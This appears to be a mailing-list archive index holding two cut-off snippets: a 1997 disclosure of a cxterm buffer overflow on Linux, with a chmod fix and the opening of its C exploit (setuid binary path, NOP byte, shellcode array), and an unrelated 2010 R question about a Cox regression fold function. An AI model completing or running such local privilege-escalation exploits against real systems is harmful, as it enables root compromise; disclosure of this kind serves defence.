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zhang
1997 May 14
4
cxterm buffer overrun
...attached below is the exploit.
Quick fix? chmod -s /path/cxterm
==========================================================================
/*
cxterm buffer overflow exploit for Linux. This code is tested on
both Slackware 3.1 and 3.2.
Ming Zhang
mzhang@softcom.net
*/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#define CXTERM_PATH "/usr/X11R6/bin/cxterm"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50
#define NOP_SIZE 1
char nop[] = "\x90";
char shellcode[] =
&quo...
2010 Apr 07
0
question about fold function
Dear all,
I'm trying to use the fold function as described here:
http://cran.r-project.org/doc/contrib/Fox-Companion/appendix-cox-regression.pdf
Page9
It does say that you can use this when you have more than one time varying
covariate: in the description of the argument cov it says:
"cov: A vector giving the column numbers of the time-dependent covariate in
data, or a list of